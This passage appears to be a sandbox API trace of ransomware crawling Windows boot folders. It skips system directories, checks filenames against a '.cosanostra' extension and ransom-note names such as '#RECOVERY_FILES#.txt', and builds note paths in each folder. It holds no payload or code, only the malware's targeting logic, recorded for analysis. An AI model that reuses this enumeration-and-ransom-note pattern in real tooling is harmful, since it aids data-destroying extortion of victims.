(lpString="$Recycle.bin") returned 12 [0075.753] lstrcmpiW (lpString1="kor_boot.ttf", lpString2="System Volume Information") returned -1 [0075.753] lstrlenW (lpString="System Volume Information") returned 25 [0075.753] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned 30 [0075.753] StrStrIW (lpFirst="kor_boot.ttf", lpSrch=".cosanostra") returned 0x0 [0075.753] lstrcmpW (lpString1="kor_boot.ttf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.753] lstrcmpW (lpString1="kor_boot.ttf", lpString2="_uninstalling_.png") returned 1 [0075.753] lstrlenW (lpString="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned 30 [0075.753] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.753] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="Windows") returned -1 [0075.753] lstrlenW (lpString="Windows") returned 7 [0075.753] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="Program Files") returned 1 [0075.753] lstrlenW (lpString="Program Files") returned 13 [0075.753] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="Program Files (x86)") returned 1 [0075.754] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.754] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="$Recycle.bin") returned 1 [0075.754] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.754] lstrcmpiW (lpString1="wgl4_boot.ttf", lpString2="System Volume Information") returned 1 [0075.754] lstrlenW (lpString="System Volume Information") returned 25 [0075.754] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 31 [0075.754] StrStrIW (lpFirst="wgl4_boot.ttf", lpSrch=".cosanostra") returned 0x0 [0075.754] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.754] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="_uninstalling_.png") returned 1 [0075.754] lstrlenW (lpString="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 31 [0075.754] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.754] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.754] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\#RECOVERY_FILES#.txt") returned 38 [0075.754] lstrlenW (lpString="\\\\?\\C:\\Boot\\Fonts\\#RECOVERY_FILES#.txt") returned 38 [0075.754] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.754] lstrcmpiW (lpString1="fr-FR", lpString2="Windows") returned -1 [0075.754] lstrlenW (lpString="Windows") returned 7 [0075.754] lstrcmpiW (lpString1="fr-FR", lpString2="Program Files") returned -1 [0075.754] lstrlenW (lpString="Program Files") returned 13 [0075.754] lstrcmpiW (lpString1="fr-FR", lpString2="Program Files (x86)") returned -1 [0075.754] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.754] lstrcmpiW (lpString1="fr-FR", lpString2="$Recycle.bin") returned 1 [0075.754] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.754] lstrcmpiW (lpString1="fr-FR", lpString2="System Volume Information") returned -1 [0075.754] lstrlenW (lpString="System Volume Information") returned 25 [0075.754] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR") returned 17 [0075.754] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0075.754] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0075.755] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\*") returned 19 [0075.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.765] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.765] lstrlenW (lpString="Windows") returned 7 [0075.765] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.765] lstrlenW (lpString="Program Files") returned 13 [0075.765] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.765] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.765] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.765] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.765] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.765] lstrlenW (lpString="System Volume Information") returned 25 [0075.765] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\.") returned 19 [0075.765] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.765] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.765] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.766] lstrlenW (lpString="Windows") returned 7 [0075.766] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.766] lstrlenW (lpString="Program Files") returned 13 [0075.766] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.766] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.766] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.766] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.766] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.766] lstrlenW (lpString="System Volume Information") returned 25 [0075.766] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\..") returned 20 [0075.766] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.766] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.766] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.766] lstrlenW (lpString="Windows") returned 7 [0075.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.766] lstrlenW (lpString="Program Files") returned 13 [0075.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.766] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.766] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.766] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.766] lstrlenW (lpString="System Volume Information") returned 25 [0075.766] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 33 [0075.766] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.766] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.766] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.766] lstrlenW (lpString="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 33 [0075.766] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.766] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.767] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\#RECOVERY_FILES#.txt") returned 38 [0075.767] lstrlenW (lpString="\\\\?\\C:\\Boot\\fr-FR\\#RECOVERY_FILES#.txt") returned 38 [0075.767] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.767] lstrcmpiW (lpString1="hu-HU", lpString2="Windows") returned -1 [0075.767] lstrlenW (lpString="Windows") returned 7 [0075.767] lstrcmpiW (lpString1="hu-HU", lpString2="Program Files") returned -1 [0075.767] lstrlenW (lpString="Program Files") returned 13 [0075.767] lstrcmpiW (lpString1="hu-HU", lpString2="Program Files (x86)") returned -1 [0075.767] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.767] lstrcmpiW (lpString1="hu-HU", lpString2="$Recycle.bin") returned 1 [0075.767] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.767] lstrcmpiW (lpString1="hu-HU", lpString2="System Volume Information") returned -1 [0075.767] lstrlenW (lpString="System Volume Information") returned 25 [0075.767] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU") returned 17 [0075.767] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0075.767] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0075.767] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\*") returned 19 [0075.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.767] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.768] lstrlenW (lpString="Windows") returned 7 [0075.768] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.768] lstrlenW (lpString="Program Files") returned 13 [0075.768] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.768] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.768] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.768] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.768] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.768] lstrlenW (lpString="System Volume Information") returned 25 [0075.768] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\.") returned 19 [0075.768] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.768] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.768] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.768] lstrlenW (lpString="Windows") returned 7 [0075.768] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.768] lstrlenW (lpString="Program Files") returned 13 [0075.768] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.768] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.768] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.768] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.768] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.768] lstrlenW (lpString="System Volume Information") returned 25 [0075.768] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\..") returned 20 [0075.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.768] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.768] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.768] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.768] lstrlenW (lpString="Windows") returned 7 [0075.768] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.768] lstrlenW (lpString="Program Files") returned 13 [0075.768] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.768] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.768] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.768] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.768] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.769] lstrlenW (lpString="System Volume Information") returned 25 [0075.769] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 33 [0075.769] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.769] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.769] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.769] lstrlenW (lpString="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 33 [0075.769] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.769] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.769] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\#RECOVERY_FILES#.txt") returned 38 [0075.769] lstrlenW (lpString="\\\\?\\C:\\Boot\\hu-HU\\#RECOVERY_FILES#.txt") returned 38 [0075.769] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.769] lstrcmpiW (lpString1="it-IT", lpString2="Windows") returned -1 [0075.769] lstrlenW (lpString="Windows") returned 7 [0075.769] lstrcmpiW (lpString1="it-IT", lpString2="Program Files") returned -1 [0075.769] lstrlenW (lpString="Program Files") returned 13 [0075.769] lstrcmpiW (lpString1="it-IT", lpString2="Program Files (x86)") returned -1 [0075.769] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.769] lstrcmpiW (lpString1="it-IT", lpString2="$Recycle.bin") returned 1 [0075.769] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.770] lstrcmpiW (lpString1="it-IT", lpString2="System Volume Information") returned -1 [0075.770] lstrlenW (lpString="System Volume Information") returned 25 [0075.770] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT") returned 17 [0075.770] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0075.771] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0075.771] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\*") returned 19 [0075.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.796] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.796] lstrlenW (lpString="Windows") returned 7 [0075.797] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.797] lstrlenW (lpString="Program Files") returned 13 [0075.797] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.797] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.797] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.797] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.797] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.797] lstrlenW (lpString="System Volume Information") returned 25 [0075.797] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\.") returned 19 [0075.797] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.797] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.797] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.797] lstrlenW (lpString="Windows") returned 7 [0075.797] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.797] lstrlenW (lpString="Program Files") returned 13 [0075.797] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.797] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.797] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.797] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.797] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.797] lstrlenW (lpString="System Volume Information") returned 25 [0075.797] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\..") returned 20 [0075.797] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.797] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.797] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.797] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.797] lstrlenW (lpString="Windows") returned 7 [0075.797] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.797] lstrlenW (lpString="Program Files") returned 13 [0075.797] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.797] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.797] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.797] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.797] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.797] lstrlenW (lpString="System Volume Information") returned 25 [0075.797] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 33 [0075.797] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.797] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.798] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.798] lstrlenW (lpString="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 33 [0075.798] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.798] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.798] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\#RECOVERY_FILES#.txt") returned 38 [0075.798] lstrlenW (lpString="\\\\?\\C:\\Boot\\it-IT\\#RECOVERY_FILES#.txt") returned 38 [0075.798] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.798] lstrcmpiW (lpString1="ja-JP", lpString2="Windows") returned -1 [0075.798] lstrlenW (lpString="Windows") returned 7 [0075.798] lstrcmpiW (lpString1="ja-JP", lpString2="Program Files") returned -1 [0075.798] lstrlenW (lpString="Program Files") returned 13 [0075.798] lstrcmpiW (lpString1="ja-JP", lpString2="Program Files (x86)") returned -1 [0075.798] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.798] lstrcmpiW (lpString1="ja-JP", lpString2="$Recycle.bin") returned 1 [0075.798] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.798] lstrcmpiW (lpString1="ja-JP", lpString2="System Volume Information") returned -1 [0075.798] lstrlenW (lpString="System Volume Information") returned 25 [0075.798] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP") returned 17 [0075.798] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0075.798] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0075.798] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\*") returned 19 [0075.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.799] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.799] lstrlenW (lpString="Windows") returned 7 [0075.799] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.799] lstrlenW (lpString="Program Files") returned 13 [0075.799] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.799] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.799] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.799] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.799] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.799] lstrlenW (lpString="System Volume Information") returned 25 [0075.799] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\.") returned 19 [0075.799] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.799] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.799] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.799] lstrlenW (lpString="Windows") returned 7 [0075.799] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.799] lstrlenW (lpString="Program Files") returned 13 [0075.799] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.799] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.799] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.799] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.799] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.799] lstrlenW (lpString="System Volume Information") returned 25 [0075.799] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\..") returned 20 [0075.799] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.799] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.799] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.799] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.800] lstrlenW (lpString="Windows") returned 7 [0075.800] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.800] lstrlenW (lpString="Program Files") returned 13 [0075.800] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.800] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.800] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.800] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.800] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.800] lstrlenW (lpString="System Volume Information") returned 25 [0075.800] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 33 [0075.800] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.800] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.800] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.800] lstrlenW (lpString="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 33 [0075.800] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.800] FindClose (in: hFindFile=0x24d080 | out: hFindFile=0x24d080) returned 1 [0075.800] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\#RECOVERY_FILES#.txt") returned 38 [0075.800] lstrlenW (lpString="\\\\?\\C:\\Boot\\ja-JP\\#RECOVERY_FILES#.txt") returned 38 [0075.800] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.800] lstrcmpiW (lpString1="ko-KR", lpString2="Windows") returned -1 [0075.800] lstrlenW (lpString="Windows") returned 7 [0075.800] lstrcmpiW (lpString1="ko-KR", lpString2="Program Files") returned -1 [0075.800] lstrlenW (lpString="Program Files") returned 13 [0075.800] lstrcmpiW (lpString1="ko-KR", lpString2="Program Files (x86)") returned -1 [0075.800] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.800] lstrcmpiW (lpString1="ko-KR", lpString2="$Recycle.bin") returned 1 [0075.801] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.801] lstrcmpiW (lpString1="ko-KR", lpString2="System Volume Information") returned -1 [0075.801] lstrlenW (lpString="System Volume Information") returned 25 [0075.801] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR") returned 17 [0075.801] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0075.801] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0075.801] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\*") returned 19 [0075.801] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24d080 [0075.914] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.914] lstrlenW (lpString="Windows") returned 7 [0075.914] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.914] lstrlenW (lpString="Program Files") returned 13 [0075.914] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.914] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.914] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.914] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.914] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.914] lstrlenW (lpString="System Volume Information") returned 25 [0075.914] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\.") returned 19 [0075.914] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.914] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.914] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.914] lstrlenW (lpString="Windows") returned 7 [0075.914] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.914] lstrlenW (lpString="Program Files") returned 13 [0075.914] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.914] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.914] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.914] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.914] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.914] lstrlenW (lpString="System Volume Information") returned 25 [0075.914] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\..") returned 20 [0075.914] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.914] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.914] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.914] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.914] lstrlenW (lpString="Windows") returned 7 [0075.915] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.915] lstrlenW (lpString="Program Files") returned 13 [0075.915] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.915] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.915] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.915] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.915] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.915] lstrlenW (lpString="System Volume Information") returned 25 [0075.915] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 33 [0075.915] StrStrIW 